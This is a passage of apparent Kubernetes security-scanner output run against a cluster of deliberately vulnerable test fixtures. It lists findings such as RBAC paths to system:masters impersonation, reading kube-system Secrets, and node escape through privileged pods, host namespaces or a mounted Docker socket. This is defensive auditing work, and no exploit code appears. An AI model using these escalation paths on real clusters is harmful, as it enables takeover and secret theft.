  • HIGH KUBE-PRIVESC-005 Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/vulnerable/privileged-reader
  • HIGH KUBE-PRIVESC-035 Pod Security Admission label flip: ServiceAccount/psaflip-fixtures/psaflip-flipper can relabel psaflip-fixtures and run a privileged pod there
  • HIGH KUBE-PRIVESC-005 Namespace lp-fixtures only list/watch access to Secrets enumerates every Secret on ServiceAccount/lp-fixtures/sa-lp-wildcard
  • HIGH KUBE-PRIVESC-005 Namespace secrets-bundle-target only list/watch access to Secrets enumerates every Secret on ServiceAccount/secrets-bundle/cross-ns-reader
  • HIGH KUBE-PRIVESC-037 create certificatesigningrequests/nodeclient lets ServiceAccount/nodeid-fixtures/nodeid-joiner obtain an auto-approved kubelet identity for any node
  • HIGH KUBE-PRIVESC-026 Secret write reaching kube-system lets ServiceAccount/privesc-fixtures/sa-secret-mint mint a bootstrap token, and with it a kubelet identity for any node
  • HIGH KUBE-PRIVESC-003 Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-deployer
  • HIGH KUBE-PRIVESC-034 Namespace imgswap-fixtures only update/patch on pods swaps container images inside running pods (ServiceAccount/imgswap-fixtures/imgswap-patcher)
  • HIGH KUBE-PRIVESC-021 Namespace hookbackend-fixtures only write on endpointslices lets ServiceAccount/hookbackend-fixtures/hookbackend-slicer steer Service traffic
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/csr-fixtures/sa-csr-sign can impersonate `system:masters` in 1 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-022 Namespace hookbackend-fixtures only update/patch on services lets ServiceAccount/hookbackend-fixtures/hookbackend-operator re-point Service traffic
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/foothold-exec/foothold-reader can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/foothold-fixtures/foothold-quiet can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/gw-workloads/gw-powerful can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/imgswap-fixtures/imgswap-reader can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-secret-mint can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-secret-read can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/vulnerable/privileged-reader can read kube-system Secrets in 1 hop(s)
  • HIGH KUBE-PRIVESC-001 Namespace cutres-pods-a only pod creation enables token theft and node takeover (ServiceAccount/cutres/cutres-doublebind)
  • HIGH KUBE-PRIVESC-001 Namespace cutres-pods-b only pod creation enables token theft and node takeover (ServiceAccount/cutres/cutres-doublebind)
  • HIGH KUBE-PRIVESC-001 Namespace psaflip-fixtures only pod creation enables token theft and node takeover (ServiceAccount/psaflip-fixtures/psaflip-flipper)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/foothold-fixtures/foothold-minter can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/gw-groups/default can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/gw-groups/gw-member can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/rbac-fixtures/sa-token-create can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cert-manager/cert-manager can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cloud-eks-test/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/containersec-fixtures/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cutres/cutres-detour can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/cutres/cutres-parallel can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/deepchain-tenant/deepchain-privileged can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/flat-network/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/flux-system/kustomize-controller can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/foothold-exec/foothold-decoy-sa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/foothold-exec/foothold-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/foothold-fixtures/foothold-quiet can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/gw-workloads/gw-web-sa can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/hookbackend-fixtures/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/imgswap-fixtures/imgswap-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/ingress-only/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/lp-fixtures/sa-lp-narrow can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/lp-fixtures/sa-lp-orphan can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/lp-fixtures/sa-lp-wildcard can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/netpol-imds/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/privesc-fixtures/sa-node-migrate can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-cluster-admin can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/rbac-fixtures/sa-wildcard can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/secrets-bundle/cross-ns-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/statusspoof-fixtures/default can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/nodeid-fixtures/nodeid-joiner can read kube-system Secrets in 3 hop(s)
  • HIGH KUBE-PRIVESC-003 Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-job-patcher
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/foothold-ops/foothold-named-execer can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/imgswap-fixtures/imgswap-patcher can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-ephemeral can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-pod-create-escape can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/privesc-fixtures/sa-pod-exec can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/rbac-fixtures/sa-pod-create can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/rbac-fixtures/sa-workload-mutate can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS User/gw-deployer can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS User/gw-patcher can read kube-system Secrets in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/deepchain-tenant/deepchain-binder can impersonate `system:masters` in 4 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can read kube-system Secrets in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/foothold-ops/foothold-named-execer can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS ServiceAccount/imgswap-fixtures/imgswap-patcher can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS User/gw-deployer can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-SYSTEM-MASTERS User/gw-patcher can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/cutres/cutres-detour can reach namespace-admin in `cutres` in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/deepchain-tenant/deepchain-binder can reach namespace-admin in `deepchain-tenant` in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can reach namespace-admin in `rbac-ns-fixtures` in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `cutres` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-token-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `cutres` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-pod-create can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-workload-mutate can reach namespace-admin in `cutres` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-workload-mutate can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/rbac-fixtures/sa-workload-mutate can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `cutres` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `deepchain-tenant` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/nodeid-fixtures/nodeid-joiner can reach namespace-admin in `cutres` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/nodeid-fixtures/nodeid-joiner can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/nodeid-fixtures/nodeid-joiner can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `cutres` in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `deepchain-tenant` in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-ephemeral can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `cutres` in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `deepchain-tenant` in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-exec can reach namespace-admin in `rbac-ns-fixtures` in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach namespace-admin in `cutres` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-secret-mint can reach namespace-admin in `cutres` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-secret-mint can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-secret-mint can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `cutres` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NAMESPACE-ADMIN ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
  • HIGH KUBE-PRIVESC-003 Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-patcher
  • MEDIUM KUBE-PRIVESC-036 Namespace statusspoof-fixtures only update/patch on pods/status lets ServiceAccount/statusspoof-fixtures/statusspoof-writer redirect Service traffic
  • MEDIUM KUBE-PRIVESC-030 Namespace hookbackend-fixtures only create pods/binding lets ServiceAccount/hookbackend-fixtures/podbind-scheduler act as the scheduler and place pods on any node
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-sign granted to ServiceAccount csr-fixtures/sa-csr-sign but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cluster-admin granted to ServiceAccount foothold-exec/foothold-decoy-sa but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role foothold-reader-secrets granted to ServiceAccount foothold-exec/foothold-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role foothold-quiet-secrets granted to ServiceAccount foothold-fixtures/foothold-quiet but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-imgswap-secret-reader granted to ServiceAccount imgswap-fixtures/imgswap-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised
  • MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cm-reader granted to ServiceAccount vulnerable/default but never exercised
211 findings
Pod Security

Application security: securityContext

21 crit 83 high 80 med 3 low
  • CRITICAL KUBE-ESCAPE-005 Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock → /var/run/docker.sock)
  • CRITICAL KUBE-ESCAPE-006 Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app
  • CRITICAL KUBE-ESCAPE-001 Privileged container app in Deployment/foothold-fixtures/foothold-priv-app
  • CRITICAL KUBE-ESCAPE-001 Privileged container app in Deployment/vulnerable/risky-app
  • CRITICAL KUBE-CONTAINERD-SOCKET-001 Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)
  • CRITICAL KUBE-ESCAPE-002 Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/cutres/cutres-doublebind can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/foothold-fixtures/foothold-priv can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/hookbackend-fixtures/hookbackend-operator can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/local-path-storage/local-path-provisioner-service-account can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/map-fixtures/sa-mutating-policy can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/psa-suppressed/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/psaflip-fixtures/psaflip-flipper can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-nodes-proxy can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-pod-create can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-workload-mutate can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/vulnerable/default can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/vulnerable/privileged-reader can reach node escape (host root) in 1 hop(s)
  • CRITICAL KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/foothold-ops/foothold-execer can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PRIVESC-035 Pod Security Admission label flip: ServiceAccount/psaflip-fixtures/psaflip-flipper can relabel psaflip-fixtures and run a privileged pod there
  • HIGH KUBE-PV-HOSTPATH-001 Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet
  • HIGH KUBE-ESCAPE-008 /var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/cert-manager/cert-manager can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/cloud-eks-test/default can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/containersec-fixtures/default can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/csr-fixtures/sa-csr-mint can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/csr-fixtures/sa-csr-sign can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/cutres/cutres-detour can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/cutres/cutres-parallel can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/deepchain-tenant/deepchain-privileged can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/flat-network/default can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/flux-system/kustomize-controller can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/foothold-exec/foothold-decoy-sa can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/foothold-exec/foothold-reader can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/foothold-fixtures/foothold-quiet can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/gw-workloads/gw-web-sa can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/hookbackend-fixtures/default can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/imgswap-fixtures/imgswap-reader can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/ingress-only/default can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/lp-fixtures/sa-lp-narrow can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/lp-fixtures/sa-lp-orphan can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/lp-fixtures/sa-lp-wildcard can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/netpol-imds/default can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-node-migrate can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-cluster-admin can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-impersonate can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-wildcard can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/secrets-bundle/cross-ns-reader can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/statusspoof-fixtures/default can reach node escape (host root) in 1 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/rbac-fixtures/sa-token-create can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/deepchain-tenant/deepchain-binder can reach node escape (host root) in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/nodeid-fixtures/nodeid-joiner can reach node escape (host root) in 3 hop(s)
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
  • HIGH KUBE-ESCAPE-003 Pod shares host network (hostNetwork: true) in Deployment/vulnerable/risky-app
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/foothold-ops/foothold-named-execer can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/imgswap-fixtures/imgswap-patcher can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-ephemeral can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-pod-exec can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE User/gw-deployer can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE User/gw-patcher can reach node escape (host root) in 2 hop(s)
  • HIGH KUBE-ESCAPE-004 Pod shares host IPC (hostIPC: true) in Deployment/vulnerable/host-ns-app
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can reach node escape (host root) in 3 hop(s)
  • HIGH KUBE-PRIVESC-PATH-NODE-ESCAPE ServiceAccount/privesc-fixtures/sa-secret-mint can reach node escape (host root) in 3 hop(s)
  • HIGH KUBE-ADMISSION-001 MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in DaemonSet/rbac-fixtures/daemon-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/imds-pivot-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/cloud-eks-test/irsa-admin-app
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-image
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-lifecycle
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-limits
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-probes
  • HIGH KUBE-PODSEC-APE-001 Container app allows privilege escalation in Deployment/csr-fixtures/csr-mint-app
